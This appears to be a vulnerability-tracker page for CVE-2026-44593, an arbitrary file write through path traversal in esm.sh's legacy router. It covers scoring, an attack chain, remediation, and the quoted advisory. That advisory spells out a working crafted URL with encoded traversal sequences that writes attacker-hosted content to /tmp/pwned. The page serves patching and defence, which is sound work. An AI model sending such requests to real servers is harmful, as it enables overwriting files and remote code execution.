Skip to main content

esm.sh CVE-2026-44593

| EUVDEUVD-2026-32910 HIGH
Path Traversal (CWE-22)
2026-05-12 https://github.com/esm-dev/esm.sh GHSA-3636-h3vx-6465
8.7
CVSS 4.0 · Vendor: https://github.com/esm-dev/esm.sh
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Send URL-encoded crafted request to legacy route
  2. Delivery
    Router proxies to legacy server and fetches attacker GitHub file
  3. Exploit
    Traversal sequences bypass storage-key sanitization
  4. Install
    Content written to arbitrary filesystem path
  5. C2
    Overwrite critical binary or script
  6. Execute
    Server executes tampered file
  7. Impact
    Remote code execution as server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target to be running a self-hosted esm.sh server at version ≤ 137 with the legacy router (the /v1xx/ compatibility routes handled by server/legacy_router.go) reachable by the attacker; the attacker must also control a public GitHub repository to supply the file contents that get written. No authentication, no user interaction, and no special privileges are needed (CVSS PR:N/UI:N), and the request is a single crafted HTTP GET using URL-encoded traversal sequences (%2f, %23, '../'). Limiting factors that reduce real-world risk: the arbitrary write only succeeds against paths the server process has write permission for, and escalation to RCE additionally requires that a writable path also be an executable/script location that is later run - so hardened deployments with an unprivileged service account, read-only root filesystem, or containerized/ephemeral storage substantially blunt the impact even if the file write itself succeeds.

Impact

The vendor CVSS 4.0 score is 8.7 (High) with vector AV:N/AC:L/AT:N/PR:N/UI:N and impact scored as integrity-only (VI:H, VC:N/VA:N), reflecting the confirmed arbitrary-file-write primitive rather than fully-realized RCE. In practice the write-then-execute chain (overwriting a binary/script the server later runs) can yield full code execution, so real-world integrity and availability impact is higher than the integrity-only scoring suggests. Countervailing signals: EPSS is very low at 0.06% (20th percentile) and there is no CISA KEV listing, indicating no confirmed mass exploitation. However, EPSS low + detailed public exploit is not contradictory here - the low probability reflects the niche self-hosted footprint, not exploit difficulty; the technique itself is straightforward and fully documented. One caveat to verify: successful RCE depends on the server process having write access to an executable path and on that path being executed, which is deployment-specific and not guaranteed on hardened, read-only, or containerized deployments.

Exploit ScenarioDerived

A remote unauthenticated attacker hosts a malicious file in a public GitHub repository, then sends a single crafted URL-encoded request to a self-hosted esm.sh server (e.g. .../foo.md%23%2f..%2f..%2f..%2ftmp%2fpwned) that traverses out of the storage directory. The server fetches the attacker's file and writes its contents to the chosen path; by targeting a script or binary the server subsequently executes, the attacker gains remote code execution with the server's privileges. A full reproducible exploit is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Arbitrary file write in the esm.sh module CDN server (versions ≤ 137) lets remote unauthenticated attackers write attacker-controlled content to any path the server process can write to, and by overwriting binaries or scripts, escalate to remote code execution with the server's privileges. The flaw lives in the legacy router (legacy_router.go), which concatenates URL-encoded path segments into a storage key without sanitization before calling buildStorage.Put. A detailed, reproducible exploit walkthrough is published in the vendor GHSA advisory, so publicly available exploit code exists; EPSS is low (0.06%, 20th percentile) and the CVE is not on CISA KEV.

RemediationAI

Vendor-released patch: upgrade to esm.sh v137_3 (Go pseudo-version 0.0.0-20260508100112-1960055e1d53), which adds security hardening for path traversal - preventing traversal in module resolution (PR #1353) and rejecting path-traversal keys in filesystem storage (PR #1351). See the advisory at https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465 and release notes at https://github.com/esm-dev/esm.sh/releases/tag/v137_3. If immediate upgrade is not possible, apply compensating controls: block or reject requests to the legacy /v1xx/ router paths at a reverse proxy (trade-off: breaks legacy module compatibility for older clients), and normalize/decode incoming request paths at the proxy and reject any containing encoded or literal traversal sequences (%2e%2e, %2f, %23, '../'). Additionally, run the esm.sh process as an unprivileged user on a read-only or narrowly-scoped filesystem so an arbitrary write cannot land on an executable path (trade-off: requires the build cache/storage directory to remain the only writable location), which limits the write primitive from escalating to RCE.

Affected VersionsENISA

esm.sh ≤ 137

Affected Packages

go github.com/esm-dev/esm.sh fix: 0.0.0-20260508100112-1960055e1d53
euvd esm_sh no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

esm.sh is a Go-based CDN/build server that transpiles and serves npm and GitHub-hosted ES modules. The vulnerability is a classic CWE-22 path traversal: the legacy compatibility route parses the request path, fetches the referenced module (e.g. from a GitHub repo via the /gh/ prefix), and derives a filesystem storage key of the form 'legacy/<version>/<pkg>/...'. Because URL-encoded traversal sequences (%2f = '/', %23 = '#') and '../' segments are neither decoded-then-validated nor stripped, the resulting key such as 'legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@.../foo.md#/../../../../tmp/pwned' is normalized by the OS filesystem down to an absolute location like /tmp/pwned. The affected package is pkg:go/github.com_esm-dev_esm.sh. The write content is the body of the file fetched from an attacker-controlled GitHub repository, giving the attacker control over both the destination path and the written bytes.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/esm-dev/esm.sh) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Remote unauthenticated single request (AV:N/AC:L/PR:N/UI:N) yields attacker-controlled arbitrary file write leading to code execution as the server, justifying full C/I/A:H rather than the vendor's integrity-only scoring.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/esm-dev/esm.sh).

CVSS VectorVendor: https://github.com/esm-dev/esm.sh

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
May 28, 2026 - 16:22 NVD
8.7 (HIGH)
CVE Published
May 12, 2026 - 22:22 github-advisory
HIGH 8.7
CVE Published
May 12, 2026 - 22:22 nvd
CRITICAL

DescriptionCVE.org

Impact

  • Arbitrary File Write - An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE - By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction

A crafted request is sent to the server:

   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
  1. Proxy to Legacy Server

The request is forwarded to:

   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
  1. File Retrieval

The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  1. Path Normalisation & Storage

The storage path derived from the request is:

   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  1. Result

By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@\_splitline\_) from DEVCORE Research Team

Executive ViewAI

Why It Matters

The esm.sh JavaScript module CDN contains a critical vulnerability in versions 137 and earlier that enables unauthenticated remote code execution through arbitrary file writes. If exploited, attackers could inject malicious code into the organization's software supply chain, automatically affecting any dependent applications across the enterprise. While publicly available exploit code exists, EPSS probability remains low at this time.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Prevalence
Low
self-hosted JavaScript module CDN server, modest production deployment footprint
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy